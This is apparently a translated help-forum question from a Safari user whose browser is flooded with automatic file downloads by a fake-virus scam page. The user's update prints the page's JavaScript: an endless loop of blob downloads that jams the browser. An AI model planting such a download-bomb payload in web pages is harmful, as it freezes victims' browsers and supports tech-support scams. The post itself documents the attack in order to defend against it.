tło
Nowa strona spamowa zaczęła pojawiać się w wielu „wątpliwych” witrynach (witrynach z filmami itp.). Ta nowa strona ze spamem pasuje do kategorii fałszywych skanów, MacKeeper, „MASZ WIRUSA” itp.
Problem
Problem z tą nową stroną polega na tym, że zamiast tylko wyskakującego okienka, strona faktycznie inicjuje pobieranie losowych plików 2kb (nieszkodliwe, tylko losowe pliki tekstowe) wielokrotnie co ~ 1ms. Folder pobierania zapełnia się, zanim można zamknąć okno, a ty pozostajesz do usunięcia ponad 1000 plików. W przeciwieństwie do podobnego problemu, w którym spam na stronie wywołuje okno dialogowe drukowania, jest bardzo mało czasu na reakcję.
Nieudane próby rozwiązania problemów
Próbowałem zablokować folder pobierania. Chociaż uniemożliwiło to ... pobranie ... pobrania, pojawia się okno dialogowe (patrz zdjęcie). Zwykle mogę po prostu zamknąć to okno dialogowe, ale ponieważ próba pobierania jest podejmowana co ~ 1ms, za każdym razem, gdy próbuję zamknąć, pojawia się nowe okno dialogowe, uniemożliwiając mi zamknięcie okna.
Wymuś zamknięcie Safari, co zatrzymuje pobieranie (po pobraniu 1k), ale potem tracę wszystkie inne okna
Zmiana ustawień na „Pytaj o każde pobranie” w preferencjach Safari. Nie działa, ponieważ 1 tys. Osobnych otwartych okien dialogowych uniemożliwia mi nawet zamknięcie karty. Ostatecznie zawiesza się Safari.
Pytanie
Jak mogę zapobiec pobieraniu spamu w Safari?
AKTUALIZACJA:
Oto kod powodujący pobranie (otrzymałem go przez wyłączenie JavaScript i ręczne przeglądanie kodu):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Uwaga: miałem problemy z uruchomieniem JS na niestandardowej stronie. Zamarł zamiast pobierać. Udało mi się emulować pobieranie przy użyciu setInterval()
funkcji wywołującej download
funkcję.
Więcej informacji: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/